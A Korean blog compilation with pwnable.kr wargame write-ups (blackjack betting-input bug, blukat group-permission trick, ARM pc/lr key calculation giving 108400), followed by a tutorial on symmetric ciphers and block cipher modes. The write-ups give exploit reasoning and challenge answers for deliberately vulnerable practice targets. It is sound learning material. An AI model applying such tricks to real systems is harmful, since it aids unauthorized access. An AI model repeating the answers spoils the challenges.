             cash = cash - bet;
             printf("\nYou have %d Wins and %d Losses. Awesome!\n", won, loss);
             dealer_total=0;
             askover();
         }
      
         if(p<=21) //If player total is less than 21, ask to hit or stay
         {         
             printf("\n\nWould You Like to Hit or Stay?");
              
             scanf("%c", &choice3);
             while((choice3!='H') && (choice3!='h') && (choice3!='S') && (choice3!='s')) // If invalid choice entered
             {                                                                           
                 printf("\n");
                 printf("Please Enter H to Hit or S to Stay.\n");
                 scanf("%c",&choice3);
             }
 
 
             if((choice3=='H') || (choice3=='h')) // If Hit, continues
             { 
                 randcard();
                 player_total = p + l;
                 p = player_total;
                 printf("\nYour Total is %d\n", p);
                 dealer();
                  if(dealer_total==21) //Is dealer total is 21, loss
                  {
                      printf("\nDealer Has the Better Hand. You Lose.\n");
                      loss = loss+1;
                      cash = cash - bet;
                      printf("\nYou have %d Wins and %d Losses. Awesome!\n", won, loss);
                      dealer_total=0;
                      askover();
                  } 
      
                  if(dealer_total>21) //If dealer total is over 21, win
                  {                      
                      printf("\nDealer Has Went Over!. You Win!\n");
                      won = won+1;
                      cash = cash+bet;
                      printf("\nYou have %d Wins and %d Losses. Awesome!\n", won, loss);
                      dealer_total=0;
                      askover();
                  }
             }
             if((choice3=='S') || (choice3=='s')) // If Stay, does not continue
             {
                printf("\nYou Have Chosen to Stay at %d. Wise Decision!\n", player_total);
                stay();
             }
          }
             i++; //While player total and dealer total are less than 21, re-do while loop 
     } // End While Loop
} // End Function
Colored by Color Scripter
cs

play() 함수에서 호출 하는 함수는 아래 4개의 함수이다.

cash_test()

randcard()

dealer()

betting()

위 4개의 함수를 자세히 들여다 보자.

cash_test() function

1
2
3
4
5
6
7
8
9
void cash_test() //Test for if user has cash remaining in purse
{
     if (cash <= 0) //Once user has zero remaining cash, game ends and prompts user to play again
     {
        printf("You Are Bankrupt. Game Over");
        cash = 500;
        askover();
     }
} // End Function
Colored by Color Scripter
cs

유저(게임 참여자)가 betting 할 잔액이 남아 있는지 확인하는 함수이다.

문제가 없음을 확인 할 수 있다.

randcard() function

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
int randcard() //Generates random card
{
      
                
     srand((unsigned) time(NULL)); //Generates random seed for rand() function
     random_card = rand()%4+1;
      
     if(random_card==1)
     {   
         clubcard();
         l=k;
     }
      
     if(random_card==2)
     {
         diamondcard();
         l=k;
     }
      
     if(random_card==3)
     {
         heartcard();
         l=k;
     }
          
     if(random_card==4)
     {
         spadecard();
         l=k;
     }    
     return l;
} // End Function 
Colored by Color Scripter
cs

srand() 함수에 의해 seed 값이 변경 되기 때문에 rand() 함수를 통한 카드의 종류를 예측할 수 없다.

randcard() 또한 문제가 없음을 확인할 수 있다.

dealer() function

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
void dealer() //Function to play for dealer AI
{
     int z;
      
     if(dealer_total<17)
     {
      srand((unsigned) time(NULL) + 1); //Generates random seed for rand() function
      z=rand()%13+1;
      if(z<=10) //If random number generated is 10 or less, keep that value
      {
         d=z;
          
      }
      
      if(z>11) //If random number generated is more than 11, change value to 10
      {
         d=10;
      }
      
      if(z==11) //If random number is 11(Ace), change value to 11 or 1 depending on dealer total
      {
         if(dealer_total<=10)
         {
             d=11;
         }
          
         else
         {
             d=1;
         }
      }
     dealer_total = dealer_total + d;
     }
           
     printf("\nThe Dealer Has a Total of %d", dealer_total); //Prints dealer total
      
} // End Function 
Colored by Color Scripter
cs

dealer의 총 숫자의 합을 구하는 함수이다. srand() 함수를 통해 seed를 초기화하고, 딱히 잘못된 점이 없다.

betting() function

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int betting() //Asks user amount to bet
{
    printf("\n\nEnter Bet: $");
    scanf("%d", &bet);
 
    if (bet > cash) //If player tries to bet more money than player has            
    {
        printf("\nYou cannot bet more money than you have.");
        printf("\nEnter Bet: ");
        scanf("%d", &bet);
        return bet;    
    }
    else return bet;
} // End Function
Colored by Color Scripter
cs

유저(게임의 참여자)가 betting 할 때 만일 유저가 가지고 있는 cash 보다 더 많은 cash를 betting 하면 다시 입력을 받고 bet를 return 하거나, 정상적으로 입력했을때, betting 값을 return 한다. 하지만 여기서 만일 잘못된 betting(cash보다 더 많은 betting)을 통해 다시 betting 값을 입력받을때, 예외 처리를 하지 않는다.

따라서 두 번째 입력을 받을때 임의의 betting 값 설정이 가능하다.

flag를 얻기 위해서 100만 달러 이상의 부자가 되어야 하니 100만 달러를 betting 후 게임에서 이겨보자.

betting() function 오류를 이용해서 $1000000를 betting 하였다.

dealer와의 게임에서 이기게 된다면, Cash에 $10000000가 추가되고 flag를 얻을 수 있다.

[pwnable.kr] blukat 풀이, write-up

MarcoKhan — Mon, 24 Dec 2018 19:12:12 +0900

pwnable.kr --- blukat

ssh blukat@pwnable.kr 2222 (pw: guest)로 접속하면 blukat 문제를 만날 수 있다.

windows 환경의 cmd로 접속한것이 아니라 xshell5로 접속했다.

windows 환경의 cmd로 접속하려면 ssh blukat@pwnable.kr -p2222 (pw: guest)로 접속해야한다.

우선 현재 디렉터리에 어떤 파일이 존재하는지 확인해보자.

우리가 공격해야할 대상인 blukat과 blukat을 만들었을 source로 예상되는 blukat.c가 존재한다.

blukat에 setgid가 blukat_pwn 권한으로 걸려있고, password 파일 또한 blukat_pwn의 gid를 가지고 있다.

이로 미루어보아, blukat이 password를 사용할 것으로 짐작할 수 있다.

blukat을 분석하기 위해 blukat.c를 살펴보자.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <fcntl.h>
 
char flag[100];
char password[100];
char* key = "3\rG[S/%\x1c\x1d#0?\rIS\x0f\x1c\x1d\x18;,4\x1b\x00\x1bp;5\x0b\x1b\x08\x45+";
 
void calc_flag(char* s){
    int i;
    for(i=0; i<strlen(s); i++){
        flag[i] = s[i] ^ key[i];
    }
    printf("%s\n", flag);
}
 
int main(){
    FILE* fp = fopen("/home/blukat/password", "r");
    fgets(password, 100, fp);
    char buf[100];
    printf("guess the password!\n");
    fgets(buf, 128, stdin);
    if(!strcmp(password, buf)){
        printf("congrats! here is your flag: ");
        calc_flag(password);
    }
    else{
        printf("wrong guess!\n");
        exit(0);
    }
    return 0;
}
Colored by Color Scripter
cs

fopen() 함수를 이용해 "/home/blukat/password" 경로의 파일을 read 권한으로 읽어 File pointer fp에 저장한다.

fgets() 함수를 이용해 password 배열에 100 byte 만큼 fp가 가리키는 파일의 내용을 저장한다.

1
2
3
int main(){
    FILE* fp = fopen("/home/blukat/password", "r");                                
    fgets(password, 100, fp);
cs

100 byte char 배열 buf를 선언한다.

"guess the password!\n"를 출력한다.

사용자로부터 buf에 128 byte 입력을 받는다.

1
2
3
    char buf[100];
    printf("guess the password!\n");                                            
    fgets(buf, 128, stdin);
cs

만일 사용자가 입력한 문자열과, "/home/blukat/password"의 문자열이 일치한다면

"congrats! here is your flag: "를 출력하고, calc_flag()를 출력한다.

만일 일치하지 않는다면 "wrong guess!\n"를 출력하고 프로그램을 종료한다.

1
2
3
4
5
6
7
8
9
    if(!strcmp(password, buf)){
        printf("congrats! here is your flag: ");                                
        calc_flag(password);
    }
    else{
        printf("wrong guess!\n");
        exit(0);
    }
    return 0;
Colored by Color Scripter
cs

calc_flag() 함수의 내용은 다음과 같다.

char *key 가 전역 변수로 선언되어 있고, parameter로 전달된 s의 길이만큼 parameter의 1byte와 key의 1byte를 xor 연산해 결과값을 flag에 배열에 저장하고 flag 배열을 출력한다.

1
2
3
4
5
6
7
8
9
char* key = "3\rG[S/%\x1c\x1d#0?\rIS\x0f\x1c\x1d\x18;,4\x1b\x00\x1bp;5\x0b\x1b\x08\x45+";
 
void calc_flag(char* s){
    int i;
    for(i=0; i<strlen(s); i++){
        flag[i] = s[i] ^ key[i];
    }
    printf("%s\n", flag);
}
Colored by Color Scripter
cs

우리가 원하는 flag를 획득하기 위해서 password 파일은 권한 없어 볼 수 없고, password를 모르는 상태로, password의 내용을 맞춰야한다. 왜냐하면 반드시 strcmp(password, buf)가 성공하기 위해서는 buf를 입력하는 사용자가 password의 내용을 알아야하기 때문이다.

즉, 문제 제작자는 어떤 방식으로 password 파일에 접근하거나 볼 수 있도록 했다는것인데...

권한의 문제였다는것을 확인했다. ㅋㅋㅋㅋㅋㅋㅋㅋ

현재 uid는1104(blukat)이고, gid가 1105(blukat_pwn)으로 걸려있다.

즉, 우리는 password에 접근할 수 있고, pasword의 내용이 "cat: password: Permission denied"이다. ㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋ

현재 사용자의 권한을 자세히 확인하자는 의도의 문제이다. 9reat!!!

[pwnable.kr] leg 풀이, write-up

MarcoKhan — Mon, 24 Dec 2018 11:10:42 +0900

pwnable.kr --- leg

ssh leg@pwnable.kr 2222 (pw:guest)로 접속하면 leg 문제를 만날 수 있다.

windows 환경의 cmd로 접속한것이 아니라 xshell5로 접속했다.

windows 환경의 cmd로 접속하려면 ssh leg@pwnable.kr -p2222와 같이 접속해야한다.

우선 현재 디렉터리에 어떤 파일이 있는지 확인해보자.

leg라는 의심스러운 elf 파일과 우리가 보고싶은 flag 파일이 있다.

leg elf 파일을 만든 leg.c와 leg.asm 파일은 아래의 경로에서 다운 받을 수 있다.

leg.c의 내용은 아래와 같다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#include <stdio.h>
#include <fcntl.h>
 
int key1(){
    asm("mov r3, pc\n");
}
 
int key2(){
    asm(
    "push    {r6}\n"
    "add    r6, pc, $1\n"
    "bx    r6\n"
    ".code   16\n"
    "mov    r3, pc\n"
    "add    r3, $0x4\n"
    "push    {r3}\n"
    "pop    {pc}\n"
    ".code    32\n"
    "pop    {r6}\n"
    );
}
 
int key3(){
    asm("mov r3, lr\n");
}
 
int main(){
    int key=0;
    printf("Daddy has very strong arm! : ");
    scanf("%d", &key);
    if( (key1()+key2()+key3()) == key ){
        printf("Congratz!\n");
        int fd = open("flag", O_RDONLY);
        char buf[100];
        int r = read(fd, buf, 100);
        write(0, buf, r);
    }
    else{
        printf("I have strong leg :P\n");
    }
    return 0;
}
Colored by Color Scripter
cs

key 변수를 생성하고 사용자로부터 key의 내용을 입력받는다.

key1(), key2(), key3()의 함수를 실행 한 뒤 각각의 return 값을 더해 key 값과 비교한다.

성공하면 flag를 알려주고 틀리면 실패한다.

leg.c 소스를 보면 key1(), key2(), key3()를 인라인 어셈블리어로 작성을 했다.

일반적으로 우리가 보아온 intel 계열이 아니라 ARM 계열의 어셈블리어이다.

좀 더 자세히 분석하기 위해 leg.asm을 보자.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
(gdb) disass main
Dump of assembler code for function main:
   0x00008d3c <+0>:    push    {r4, r11, lr}
   0x00008d40 <+4>:    add    r11, sp, #8
   0x00008d44 <+8>:    sub    sp, sp, #12
   0x00008d48 <+12>:    mov    r3, #0
   0x00008d4c <+16>:    str    r3, [r11, #-16]
   0x00008d50 <+20>:    ldr    r0, [pc, #104]    ; 0x8dc0 <main+132>
   0x00008d54 <+24>:    bl    0xfb6c <printf>
   0x00008d58 <+28>:    sub    r3, r11, #16
   0x00008d5c <+32>:    ldr    r0, [pc, #96]    ; 0x8dc4 <main+136>
   0x00008d60 <+36>:    mov    r1, r3
   0x00008d64 <+40>:    bl    0xfbd8 <__isoc99_scanf>
   0x00008d68 <+44>:    bl    0x8cd4 <key1>
   0x00008d6c <+48>:    mov    r4, r0
   0x00008d70 <+52>:    bl    0x8cf0 <key2>
   0x00008d74 <+56>:    mov    r3, r0
   0x00008d78 <+60>:    add    r4, r4, r3
   0x00008d7c <+64>:    bl    0x8d20 <key3>
   0x00008d80 <+68>:    mov    r3, r0
   0x00008d84 <+72>:    add    r2, r4, r3
   0x00008d88 <+76>:    ldr    r3, [r11, #-16]
   0x00008d8c <+80>:    cmp    r2, r3
   0x00008d90 <+84>:    bne    0x8da8 <main+108>
   0x00008d94 <+88>:    ldr    r0, [pc, #44]    ; 0x8dc8 <main+140>
   0x00008d98 <+92>:    bl    0x1050c <puts>
   0x00008d9c <+96>:    ldr    r0, [pc, #40]    ; 0x8dcc <main+144>
   0x00008da0 <+100>:    bl    0xf89c <system>
   0x00008da4 <+104>:    b    0x8db0 <main+116>
   0x00008da8 <+108>:    ldr    r0, [pc, #32]    ; 0x8dd0 <main+148>
   0x00008dac <+112>:    bl    0x1050c <puts>
   0x00008db0 <+116>:    mov    r3, #0
   0x00008db4 <+120>:    mov    r0, r3
   0x00008db8 <+124>:    sub    sp, r11, #8
   0x00008dbc <+128>:    pop    {r4, r11, pc}
   0x00008dc0 <+132>:    andeq    r10, r6, r12, lsl #9
   0x00008dc4 <+136>:    andeq    r10, r6, r12, lsr #9
   0x00008dc8 <+140>:            ; <UNDEFINED> instruction: 0x0006a4b0
   0x00008dcc <+144>:            ; <UNDEFINED> instruction: 0x0006a4bc
   0x00008dd0 <+148>:    andeq    r10, r6, r4, asr #9
End of assembler dump.
 
(gdb) disass key1
Dump of assembler code for function key1:
   0x00008cd4 <+0>:    push    {r11}        ; (str r11, [sp, #-4]!)
   0x00008cd8 <+4>:    add    r11, sp, #0
   0x00008cdc <+8>:    mov    r3, pc
   0x00008ce0 <+12>:    mov    r0, r3
   0x00008ce4 <+16>:    sub    sp, r11, #0
   0x00008ce8 <+20>:    pop    {r11}        ; (ldr r11, [sp], #4)
   0x00008cec <+24>:    bx    lr
End of assembler dump.
 
(gdb) disass key2
Dump of assembler code for function key2:
   0x00008cf0 <+0>:    push    {r11}        ; (str r11, [sp, #-4]!)
   0x00008cf4 <+4>:    add    r11, sp, #0
   0x00008cf8 <+8>:    push    {r6}        ; (str r6, [sp, #-4]!)
   0x00008cfc <+12>:    add    r6, pc, #1
   0x00008d00 <+16>:    bx    r6
   0x00008d04 <+20>:    mov    r3, pc
   0x00008d06 <+22>:    adds    r3, #4
   0x00008d08 <+24>:    push    {r3}
   0x00008d0a <+26>:    pop    {pc}
   0x00008d0c <+28>:    pop    {r6}        ; (ldr r6, [sp], #4)
   0x00008d10 <+32>:    mov    r0, r3
   0x00008d14 <+36>:    sub    sp, r11, #0
   0x00008d18 <+40>:    pop    {r11}        ; (ldr r11, [sp], #4)
   0x00008d1c <+44>:    bx    lr
End of assembler dump.
 
(gdb) disass key3
Dump of assembler code for function key3:
   0x00008d20 <+0>:    push    {r11}        ; (str r11, [sp, #-4]!)
   0x00008d24 <+4>:    add    r11, sp, #0
   0x00008d28 <+8>:    mov    r3, lr
   0x00008d2c <+12>:    mov    r0, r3
   0x00008d30 <+16>:    sub    sp, r11, #0
   0x00008d34 <+20>:    pop    {r11}        ; (ldr r11, [sp], #4)
   0x00008d38 <+24>:    bx    lr
End of assembler dump.
(gdb) 
Colored by Color Scripter
cs

우리가 주의 깊게 볼 부분은 main의 key1(), key2(), key3()로 branch 되는 부분과

key1(), key2(), key3() 함수의 내용이다.

우선 일반적으로 intel 계열과 ARM 계열의 branch 및 call을 통해 eax, r0를 통해 return 값을 전달한다.

이를 증명하는 부분은 key1(), key2(), key3()의 branch 이후 r0의 값을 다른 레지스터에 저장하는것을 확인할 수 있다.

key1() 함수의 내용을 보면 아래와 같다.

1
2
3
4
5
6
7
8
9
10
(gdb) disass key1
Dump of assembler code for function key1:
   0x00008cd4 <+0>:    push    {r11}        ; (str r11, [sp, #-4]!)                        
   0x00008cd8 <+4>:    add    r11, sp, #0
   0x00008cdc <+8>:    mov    r3, pc
   0x00008ce0 <+12>:    mov    r0, r3
   0x00008ce4 <+16>:    sub    sp, r11, #0
   0x00008ce8 <+20>:    pop    {r11}        ; (ldr r11, [sp], #4)
   0x00008cec <+24>:    bx    lr
End of assembler dump.
Colored by Color Scripter
cs

우리가 주의깊게 살펴볼 부분은 아래의 두 줄이다.

mov r3, pc

mov r0, r3

그렇다면 pc는 무엇일까?

pc는 program counter의 약어로 ARM에서 다음에 수행해야할 명령어의 주소를 가리킨다.

그렇다면 0x00008ce0가 다음에 실행될 주소니까 pc에 0x00008ce0가 들어갈 것으로 생각한다.

하지만 컴퓨터 구조를 공부하면 알듯이 pipe line에 의해서 0x00008ce4 부분이 fetch될 부분이다.

pipe line의 개념은 다른 장에서 설명할 계획이다. 우선 pc는 실제로 현재 실행되고 있는 명령의 다다음 명령이라고 생각하면 쉬울것이다.

key2() 함수의 내용을 보면 아래와 같다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
(gdb) disass key2
Dump of assembler code for function key2:
   0x00008cf0 <+0>:    push    {r11}        ; (str r11, [sp, #-4]!)                        
   0x00008cf4 <+4>:    add    r11, sp, #0
   0x00008cf8 <+8>:    push    {r6}        ; (str r6, [sp, #-4]!)
   0x00008cfc <+12>:    add    r6, pc, #1
   0x00008d00 <+16>:    bx    r6
   0x00008d04 <+20>:    mov    r3, pc
   0x00008d06 <+22>:    adds    r3, #4
   0x00008d08 <+24>:    push    {r3}
   0x00008d0a <+26>:    pop    {pc}
   0x00008d0c <+28>:    pop    {r6}        ; (ldr r6, [sp], #4)
   0x00008d10 <+32>:    mov    r0, r3
   0x00008d14 <+36>:    sub    sp, r11, #0
   0x00008d18 <+40>:    pop    {r11}        ; (ldr r11, [sp], #4)
   0x00008d1c <+44>:    bx    lr
End of assembler dump.
Colored by Color Scripter
cs

우리가 주의깊게 살펴볼 부분은 아래의 세 줄이다.

mov r3, pc

adds r3, #4

mov r0, r3

pipe line에 의해 pc 값은 0x00008d08이고 add 명령에 의해 4를 더하니 최종적으로 r3값은 0x00008d0c이다.

이것을 r0로 return 한다.

key3() 함수의 내용을 보면 아래와 같다.

1
2
3
4
5
6
7
8
9
10
11
(gdb) disass key3
Dump of assembler code for function key3:
   0x00008d20 <+0>:    push    {r11}        ; (str r11, [sp, #-4]!)                        
   0x00008d24 <+4>:    add    r11, sp, #0
   0x00008d28 <+8>:    mov    r3, lr
   0x00008d2c <+12>:    mov    r0, r3
   0x00008d30 <+16>:    sub    sp, r11, #0
   0x00008d34 <+20>:    pop    {r11}        ; (ldr r11, [sp], #4)
   0x00008d38 <+24>:    bx    lr
End of assembler dump.
(gdb) 
Colored by Color Scripter
cs

우리가 주의깊게 살펴볼 부분은 아래의 두 줄이다.

mov r3, lr

mov r0, r3

우선 lr 레지스터에 대해 알아보자.

lr 레지스터는 link register로 함수 호출 후 돌아갈 주소를 저장하는 레지스터이다.

key3()가 branch 된 후 돌아갈 함수의 주소는 main의 0x00008d80이다.

이로서 key1(), key2(), key3()의 return 값은 각각 아래와 같다.

key1(): 0x00008ce4

key2(): 0x00008d0c

key3(): 0x00008d80

key1() + key2() + key3() = 0x0001a770

10진수로 바꾸면 108400이다.

따라서 우리가 입력한 key 값으로 108400을 넣으면 된다.

Symmetric Crypto (대칭키 암호)

MarcoKhan — Sat, 22 Dec 2018 13:12:18 +0900

Symmetric crypto는 대칭키 암호로써, 암호화와 복호화를 할 때 같은 키를 사용하는 암호이다.

Symmetric crypto는 크게 Stream Cipher와 Block Cipher 두 가지로 나뉜다.

Stream Cipher는 one-time-pad(일회성 암호)와 거의 동일하다.

one-time-pad와 다른 점은 key의 size가 상대적으로 작고, 작은 key를 길게 늘려서 one-time-pad와 같이 사용한다.

Block Cipher는 codebook(코드북)의 개념과 거의 동일하다.

블록 암호 키는 codebook에 의해 결정된다. 각각의 키는 다른 코드북을 생성한다.

Stream Cipher

Stream Cipher의 예시로 A5/1, RC4를 설명한다. A5/1은 hardware 기반이고, RC4는 software 기반이다.

Block Cipher는 DES, Tripple DES, AES를 설명한다.

Stream Cipher는 Key K를 평문 P에 맞게 긴 Key stream으로 늘린 후 K와 P의 XOR 연산을 통해 암호문 C를 얻는다.

암호문 C를 복호화하여 평문 P를 얻기 위해 다시 K를 이용한 Key stream을 이용해 C와 K의 XOR 연산을 통해 평문 P를 얻는다.

암호화와 복호화를 위해 같은 Key를 사용하고, 송신자, 수신자 또한 동일한 stream algorithm과 key를 사용한다.

A5/1

A5/1은 hardware 기반에서 작동하는 stream cipher이다.

A5/1을 수행하기 위해 X,Y,Z의 이름을 가진 선형 피드백 시프트 레지스터(LFSR)을 사용한다.

레지스터 X는 x0, x1, .... x18 까지 19 bit이다.

레지스터 Y는 y0, y1, .... y21 까지 22 bit이다.

레지스터 Z는 z0, z1, .... z22 까지 23 bit이다.

X+Y+Z는 64-bit이다. 따라서 A5/1의 Key size는 64 bit이다.

각각의 반복(iteration) or 클럭(clock)마다 각각의 레지스터(X,Y,Z)는 아래의 계산을 한다.

X 단계

Y 단계

Z 단계

A5/1은 hardware에서 작동하는 알고리즘이기 때문에 clock마다 결과값이 나온다.

매 clock 마다 아래와 같은 식에 의해 m 값이 나온다.

m 값을 가지고 각각의 레지스터는 아래의 규칙을 따라

만일 x8 = m이면 X단계 실행

만일 y10 = m이면 Y단계 실행

만일 z10 = m이면 Z단계 실행

maj(x, y, z) 함수는 가장 많은 것을 출력하는 함수로 만일 maj(1, 1, 0)이면 X단계, Y단계를 실행하고 1을 return 한다.

maj(0, 1, 0)이면 Y단계를 실행하고 0을 return하는 함수이다.

또한 Key Stream은 각각의 X, Y, Z의 마지막 bit를 뽑아 아래와 같이 만든다.

이러한 key stream을 평문 P만큼 뽑아 평문과 xor 연산을 통해 암호문 C를 만들고

암호문 C를 key stream과 xor 연산을 하여 평문 P를 얻는다.

한 클럭마다 결과값이 생기기 때문에 클럭의 속도에 비례해 key stream이 생성된다.

RC4

RC4은 software 기반에서 작동하는 stream cipher이다.

RC4 알고리즘은 lookup table을 항상 가지고 있는데 256 byte의 순열이 들어있다. {0, 1, 2, ... , 255}

각 단계에서 key stream 한 바이트를 생성하는데 한 바이트가 생성 될 때마다 lookup table이 새롭게 수정된다.

RC4는 크게 2단계로 이루어진다. 키를 사용해 lookup table을 초기화한다. 알고리즘에 따라 key stream byte를 생성한다.

위에서 보듯이 key는 lookup table을 초기화 하는데만 사용하기 때문에 0~255까지 key size가 가능하다.

key[i], i =0, 1, 2, ... , N-1은 key의 바이트이다.

RC4의 초기화 단계는 아래와 같은 의사코드로 진행된다.

1
2
3
4
5
6
7
8
9
10
for i = 0 to 255
    S[i] = i
    K[i] = key[i mod N]
next i
j = 0
for i = 0 to 255
    j = (j + S[i] + K[i]) mod 256                                                
    swap(S[i], S[j])
next i
i = j = 0
Colored by Color Scripter
cs

RC4의 key stream 생성 단계는 아래와 같은 의사코드로 진행된다.

1
2
3
4
5
i = (i + 1) mod 256
j = (j + S[i]) mod 256
swap(S[i], S[j])
t = (S[i] + S[j]) mod 256                                                        
keystreamByte = S[t]
cs

이렇게 생성된 key stream Byte를 평문 P만큼 뽑아 평문과 xor 연산을 통해 암호문 C를 만들고

암호문 C를 key stream Byte과 xor 연산을 하여 평문 P를 얻는다.

RC4 알고리즘은 취약점이 발견되었는데, 첫 256 key stream byte를 버리면 보완 가능하다고 한다.

Block Cipher

Block Cipher는 block 단위로 평문을 나누어 일정한 크기의 블록으로 만들고 고정된 크기를 갖는 블록 단위의 암호문을 만든다.

암호문은 평문을 반복적인 round function에 의해 얻을 수 있다.

round function의 input으로 key와 이전 round function의 output이 들어간다.

Feistel Cipher (페이스텔 암호)

Feistel Cipher는 암호의 체계를 지칭하는 것이 아니라, 암호 설계의 원리를 지칭한다.

Feistel Cipher 체계에서 평문 P를 왼쪽 반, 오른쪽 반으로 나누어 아래와 같이 구성한다.

이렇게 나눈 평문 P를 이용해 아래의 규칙에 따라 round function이 동작한다.

여기서 K는 round key로 subkey라고도 불린다. round key schedule 알고리즘에 의해 round key가 생성된다.

이러한 round function을 N번 통해서 아래의 최종 암호문 C가 얻어진다.

복화화 과정은 암호화의 역순으로 진행된다. 복호화때 사용되는 규칙은 아래와 같다.

복호화 과정을 끝낸 최종 평문 P는 아래와 같이 얻어진다.

Feistel Cipher의 동작 과정을 그려보면 아래와 같이 그릴 수 있다.

DES (Data Encryption Standard)

DES는 1970년대 후반에 개발된 block cipher이다.

DES는 peistel 구조를 가지고 있고 스펙은 다음과 같다.

- 64 bit의 block length

- 56 bit의 key length (원래 64 bit이지만, 8bit은 parity bit이다),

- 16 round function

- 48 bit의 round key(sub key)

DES의 round function의 작업은 아래와 같다.

S-box는 6bit를 4bit로 매핑하는 box이다. 총 8개의 S-box를 사용하므로 48bit를 32bit로 매핑한다고 생각할 수 있다.

각각의 round function에서 S-box는 동일한 box를 사용한다.

DES의 block length가 64bit이기 때문에 L과 R은 각각 32bit가 된다.

S-box는 치환 박스라고 하여, 6bit를 4bit로 치환하는 code book 과 같은 box이다.

DES의 round function은 아래와 같이 정의될 수 있다.

DES의 특징은 다음과 같다.

DES는 S-box에 의해 안전성이 결정된다.

key length가 56bit이기 때문에 exhaustive key search(전수키조사)를 통해 key를 찾을 수 있다.

Tripple DES

DES의 문제점을 해결하기 위해서 나온 방안이다.

우선 왜 Double DES는 사용하지 않는지에 대해 고민할 필요가 있다.

Double DES를 두가지 방법으로 사용할 수 있는데 우선 첫 번째 경우를 보자

Key를 두 번 사용하여 마치 key length가 56bit에서 112bit로 늘어난 것으로 생각할 수 있지만

동일한 key를 두 번 사용하였으므로 결국 56bit key를 한번 사용한 DES와 똑같다.

Double DES의 두 번째 경우이다.

이번 경우는 첫 번째 경우를 보완해 112bit의 key를 갖는다.

하지만 이 경우 또한 공격자가 미리 table을 가지고 있으면 DES와 같은 확률로 key를 찾을 수 있다.

(1)번 식을 조금만 변형하면 (2)번 식을 얻을 수 있다.

만일 공격자가 E(P,K1)의 모든 값에 대해 미리 계산한 table을 가지고 있다고 가정하자.

공격자는 Encryption에 의해 생긴 암호문 C와 K2를 가지고 복호화하여, E(P,K1)의 값을 찾을 수 있다.

Table을 만드는 시간을 빼면 정확히 DES의 exhaustive key search의 확률과 동일하다.

따라서 Tripple DES를 사용하는데 아래와 같은 방식으로 사용한다.

key를 K1, K2를 사용하기 때문에 112bit의 length를 가지고, DES와 호환이 가능하다.

하지만 DES 연산을 3번 해야하기 때문에 속도가 느려, AES를 사용하고 있는 추세이다.

AES (Advanced Encryption Standard)

AES는 DES의 취약점을 보완한 block cipher이다.

DES는 key length가 56 bit로 인해 exhaustive key search(전수키조사)에 취약하다는 것을 알기 때문에 key가 DES보다 더 길어졌다.

AES의 스펙은 아래와 같다.

- 128bit의 block length

- 128, 192, 256bit의 key lenght

- 10, 12, 14의 round function

round function은 아래 4가지 function으로 이루어져 있다.

- ByteSub

- ShiftRow

- MixColumn

- AddRoundKey

간단히 각 함수를 설명하면 아래와 같다.

ByteSub는 DES의 S-box와 거의 유사하다.

ShiftRow는 단순한 left shift이다.

첫번째 행은 변화 없음

두번째 행은 lsl #1

세번째 행은 lsl #2

네번째 행은 lsl #3

MixColumn은 shift operation과 xor operation으로 구성된다.

DES의 X-box와 유사한 목적이다.

AddRoundKey는 각 round 마다 key schedule를 통해 round key를 생성하기 위한 함수이다.

4가지 function 모두 역산이 수행 가능하기 때문에 복호화가 가능하고 복호화는 암호화의 역순으로 이루어진다.

Block Cipher mode

Block Cipher를 사용할 때 임의 입력 길이의 데이터를 암호화 및 복호화 하기 위해서 운영모드(mode of operation)를 적용해야 한다.

Block Cipher mode는 ECB, CBC, CTR, CFB, GCM 등등 존재하지만 여기서 ECB, CBC, CTR mode를 설명한다.

Block Cipher를 진행할 때 다수의 block을 암호화 해야하는데 각각의 mode마다 암호화 방식이 다르다.

ECB (Electronic Codebook mode)

각각의 block을 모두 독립적으로 암호화한다.

ECB를 사용한 암호화는 아래와 같다.

ECB를 사용한 복호화는 아래와 같다.

각각의 block을 암호화와 복호화할 때 같은 key를 여러번 사용하는것이 특징이다.

ECB mode는 각각 독립적으로 암호화 하는 특징 때문에 Cut and Paste attack에 취약하다.

만일 평문이 아래와 같다고 가정하자.

M4RC0 love Bob. Trudy love Tom.

64bit block cipher를 사용한다고 가정하면 아래와 같이 4개의 평문으로 나뉜다.

P0 = M4RC0 lo

P1 = ve Bob.

P2 = Trudy lo

P3 = ve Tom.

각각의 평문을 암호화 하면 C0, C1, C2, C3가 얻어진다.

하지만 공격자가 C0, C3, C2, C1의 순서로 전달하고, 송신자와 수신자가 이를 알아차리지 못하면 전혀 다른 뜻이 전달 될 수 있다.

M4RC0 love Tom. Trudy love Bob

ECB mode의 또 다른 취약점은 같은 key를 반복하여 사용한다는 것이다.

같은 평문을 가지면 같은 암호문이 생긴다. 이를 이용해 공격자가 평문의 일부분을 알게 될 수 잇다.

또한 유추도 가능하다. 아래의 그림을 참고하면 쉽다.

CBC (Cipher Block Chaining)

ECB mode의 약점을 보완한 mode이다.

암호 블록 연결 모드라 불리며 각각의 block들이 의존적으로 서로 연결되어 있다. ECB mode보다 훨씬 안정적이다.

CBC를 사용한 암호화는 아래와 같다.

CBC를 사용한 복호화는 아래와 같다.

첫 번째 block을 만들기 위한 암호문 block이 없기 때문에 초기화 백터(IV, Initialization Vector)라는 것을 처음에만 사용한다.

CBC를 사용한 처음 블록 암호화는 아래와 같다.

CBC를 사용한 처음 블록 복호화는 아래와 같다.

IV값은 비밀이 아니라 공개된 값이다. 송신자가 임의로 만들어 알리면 된다.

